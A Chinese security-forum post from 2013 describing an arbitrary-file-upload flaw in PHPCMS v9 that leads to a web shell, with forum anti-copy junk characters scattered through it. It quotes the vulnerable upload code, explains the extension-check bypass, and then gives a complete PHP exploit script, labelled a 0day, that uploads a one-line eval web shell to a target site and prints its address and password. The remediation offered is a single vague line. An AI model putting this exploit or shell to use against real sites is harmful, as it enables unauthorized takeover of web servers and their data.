找回密码
 立即注册
查看: 2717|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
) p0 S5 j5 e) G5 c  m; B& w. N
$ F, S$ n) a3 c. f$ V/ e; b简要描述:
( a# E3 H5 l; v. m
: _. ^& A" P/ M) z) n8 Sphpcms v9 getshell (apache)3 k9 |$ B5 d$ y. E  R% s8 w/ j6 b
详细说明:
: N7 Y. S0 M* P' S1 @& ]5 @& I: }; [9 X* ?2 m
漏洞文件:phpcms\modules\attachment\attachments.php. n9 v) Y1 }8 K: `8 o/ v6 k$ b
# {; ?8 J3 ?0 k) K/ Y5 K
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
, T8 U: o. i' G4 G6 P; e* k% Z后缀检测:phpcms\modules\attachment\functions\global.func.php6 m5 C1 _1 v  A% p* i2 ~$ M; @7 I
( N3 U3 K& ]" I# x* P

& g8 q: F& a' d! B+ o
6 n& m, q4 q8 X  ]2 Nfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  8 Q1 S$ V' n8 R/ d% x0 v1 i1 E! Y8 k

7 l6 l+ S4 z# A关键函数:8 n6 H# z2 h0 n$ @& d
% R: J; c8 c& w6 U, d

8 V9 c; J- N# E9 z& F
5 L( _4 k: s# J- ifunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
# X! e* G/ ^' e5 \( R
2 d  d4 ~5 m! H+ K' z5 d* r  Fileext函数是对文件后缀名的提取。
9 `" g  k! Y) w! x# a( `根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php+ u- I) J# a/ ~9 |- D3 O
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
5 x" p. R* L2 L' b: A我们回到public function crop_upload() 函数中
+ q& @# i5 T' D) v+ [& q. f- uif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();8 Q( @  n" H+ N& o$ [; F, d7 E
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数- S6 F9 a) Y; E9 `
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。2 y) x$ z# ?( B# T0 p3 r! H
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
, o/ z0 }$ O% A  e2 N最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
9 ^& X* C  g3 s- h, G7 \5 W看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
8 l7 |$ U8 y" b3 w) X, s" N漏洞证明:
  W0 K( j( }/ j, d$ D+ U+ I8 \& {! d# Y6 f' a- `
exp:
  o! F% w8 O& h+ P3 ?  P' |0 G: H0 s, r0 h% r! J/ a; v
<?php* E) Y( F) {+ ]# Q! |
error_reporting(E_ERROR);1 O4 R0 |+ \  v0 z& s
set_time_limit(0);
2 p; p7 B2 ]: D% W$pass="ln";4 x' G' h5 }2 h
print_r('
  r2 f& I& b; @# }( |+---------------------------------------------------------------------------+7 J$ \$ D. _, ~0 l
PHPCms V9 GETSHELL 0DAY   U* P- A; q, Y2 P" g8 N& h
code by L.N.% S. h3 w. O# u1 u
) Q: O" {5 ?8 _) u( i: N
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
: Q0 q7 h1 _1 S+---------------------------------------------------------------------------+
6 o6 l6 Z% ^# S4 Z6 M/ J" W5 u');
# S1 v2 U* ~: v% I8 h' Y7 Vif ($argc < 2) {$ ~  Z" F+ y2 f9 e3 c, |1 x( _
print_r('/ z1 h  q- b8 s4 N5 T
+---------------------------------------------------------------------------+
6 H; J, D* p: Y, f6 l& q( `, xUsage: php '.$argv[0].' url path* o6 R8 T4 ?  N' v3 f0 n
  `/ i2 D, I& T" O
Example:
( d4 S$ y3 \9 |1.php '.$argv[0].' lanu.sinaapp.com
- K9 h. R3 l, j: H4 I2.php '.$argv[0].' lanu.sinaapp.com /phpcms
/ e. T6 z9 I( J+---------------------------------------------------------------------------+
/ f6 ~; L4 n0 Y3 K');
" v* ]" |6 @; q5 C" k! [) texit;
) F3 g: M0 x$ h- P+ h4 h}
& w+ |5 v2 {2 @( Y& W7 {9 U" b* r1 S. p1 u$ j! J+ C# M* E
$url = $argv[1];# E/ S- T& ?/ D" H8 l
$path = $argv[2];
* q" g, `7 s) w7 V$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
- J6 F% I6 h2 S2 n" ~$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
/ L- x; y$ I* t+ T: ]' d1 bif($ret=Create_dir($url,$path)), C; x0 n, [/ C8 i1 N, {
{
" {, r5 D8 I) d8 t, [& B+ W7 j//echo $ret;$ v1 N" g; t$ l8 `2 v' t
$pattern = "|Server:[^,]+?|U";" o' B0 n. d/ B+ P/ d
preg_match_all($pattern, $ret, $matches);/ |: e9 F1 v: k. @& F* i# Z/ {
if($matches[0][0])2 Z3 }' r2 a$ p( v2 m4 Q
{& D' b- ]) g0 n. c/ C# n
if(strpos($matches[0][0],'Apache') == false)
8 n5 k; e, g0 m{
: [6 e9 @) H( E( z! H; Qecho "\n亲!此网站不是apache的网站。\n";exit;2 Q9 _) w: G1 y
}
2 s# y. g7 e. f( u9 j}
7 P% [4 D5 O# i3 C  R" X$ret = GetShell($url,$phpshell,$path,$file);
5 u& g# m4 F, n* w) i2 K- i$pattern = "|http:\/\/[^,]+?\.,?|U";3 H' L1 @5 E  M+ b
preg_match_all($pattern, $ret, $matches);
2 Y: ^$ `! r7 B5 K: H: Wif($matches[0][0])4 F, r) y) E6 M3 D; S* A$ ^
{; B" }% ^2 m! R% Q* n. a! \8 Q0 f  D/ t
echo "\n".'密码为: '.$pass."\n";
6 c$ s/ O( l- X  Z* A: K1 T8 }# {  Iecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;& X7 x2 R& c8 X: C/ B6 j7 b. R
}
6 v2 J6 m$ P* ^/ |* P* zelse
% [3 W& V; S; Y0 \% x. B{+ q$ `- C* `, D& x4 v  _; a
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";; B7 W* [! E1 i4 U+ _
preg_match_all($pattern, $ret, $matches);
- T9 j, g6 B) M" n7 R: s; tif($matches[0][0])- |/ G; d& c# e  Q
{5 l/ W2 H& V- A3 W1 X4 t: p, j/ v
echo "\n".'密码为: '.$pass."\n";
0 M; s' W7 v7 w! O0 V  xecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
) ]% x, a* |8 I( D( D' E}, f# A* U+ b/ u3 D: v& a8 O
else- u3 D- J: X% F4 ~$ K7 E
{
. M' h# z" |' @+ W  g/ kecho "\r\n没得到!\n";exit;* r" ^( x5 K$ x) }9 j
}* F3 x# z- f* l, i. a! C
}
! k& A2 ]2 G7 J9 m! I! F, V3 n}9 h/ m8 N- U3 ?5 i/ J# m5 P6 x. M

! d6 r8 D$ @7 x7 l" q* p; Bfunction GetShell($url,$shell,$path,$js)
* F. U# z6 M3 y& Z6 Z6 v8 F{
5 z3 y; C' n  d3 B* m" ?! v$content =$shell;) V2 M. S! s$ A" {6 z- _
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";7 _7 }" A1 B2 D. ~: K9 D
$data .= "Host: ".$url."\r\n";( n2 }7 g' L' ~6 C# n& f
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 B2 n9 A+ `, h; x& f7 B3 ^7 |$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
: N$ D. b0 s: [2 P' o0 h$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 t8 `  F5 J3 U" ~$ P$data .= "Connection: close\r\n";" U3 G. J9 v' L! Z4 w) h; x  K4 e
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";0 J1 f+ N" j  d
$data .= $content."\r\n";' ?# L- }9 o8 N7 j7 a6 Y
$ock=fsockopen($url,80);9 a. k) _! A% p5 K
if (!$ock)
/ w( s+ {! b, z{
( k/ S8 H4 y  {! L* n! @echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
: B; k8 }( i3 Q- K}; ~7 A+ M  j( b  o/ c$ I: B
else
' w6 m! Q+ T) ?" A- K. c2 I{# r  J; z# _! L) h! ]& a
fwrite($ock,$data);
3 B; i# [0 L1 a) d$resp = '';
. ]8 w/ ~5 v+ z! c. owhile (!feof($ock))1 L( g; h( w3 V0 z  l) w
{
, V# w/ S" i* ^  y2 K# a9 X0 q$resp.=fread($ock, 1024);
! B! \3 ^8 Z% E( \% D6 N, t}  t4 d2 f( X( k8 @% f7 ?
return $resp;
& h. X( F* ^* R8 ]5 X5 {" z' c, x}5 G8 B' \" R3 t( |- c6 U
}. _: i7 z  G- j/ V
% y6 Y. r1 m0 J0 e0 T& M- g% ^- l6 f
function Create_dir($url,$path='')* L0 m8 |, i: V3 x8 H0 h) q
{
& u6 u; T/ e/ M7 I( P6 Y  n$ I$content ='I love you';
$ [4 m# x7 f& a, i, ~, k/ I$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";- e& n6 W4 h+ E. ~. K
$data .= "Host: ".$url."\r\n";* S) g9 x' N8 n) P" K3 _4 w0 L
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";( D. ^1 R8 A- A) j% A- \. X
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";$ K. i! w# s5 ^- m3 b
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";$ a$ g4 j5 F7 `0 f# e) O% H% M
$data .= "Connection: close\r\n";( c8 ~2 f  U' m& o- n: J
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
1 {" s/ @) O3 ]& o, S$data .= $content."\r\n";
& v: C+ B) G. t1 y# j# b& Q$ock=fsockopen($url,80);
( P7 D/ Z. D0 Fif (!$ock)
" P9 P% F' x; F" {. M- @{
) ?. A  S1 |/ b" K* Z6 ~" Decho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
& s0 ?* M- T1 t, Q$ M7 D1 o6 F}
) v7 Y; Y; O% o; m# yfwrite($ock,$data);
: @) v% K& ?4 W9 T" v& G6 o% t6 e, P  U$resp = '';
2 n  V. W& E5 |2 K9 a" twhile (!feof($ock))) ?+ T6 ^9 C, u
{
" R" ]. M+ Y* p# [$resp.=fread($ock, 1024);  U) H% ], v# D+ Q& K, m0 ?; T
}) D( O4 {; o. B4 Y- j4 I
return $resp;
/ q# q/ `; @3 ^}: y  J/ h7 Z* E( q; {
?> 9 d8 b" Y$ R9 {
' \: m1 B6 s- I' ]' ~( H: i1 U2 T/ ^
修复方案:
; @- w! Y1 {4 E% R/ [, D) }6 Y$ N& V7 ~6 T# k8 ^
过滤过滤再过滤
! C% _( d- `, Q
( i1 r9 s$ x7 v4 {8 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表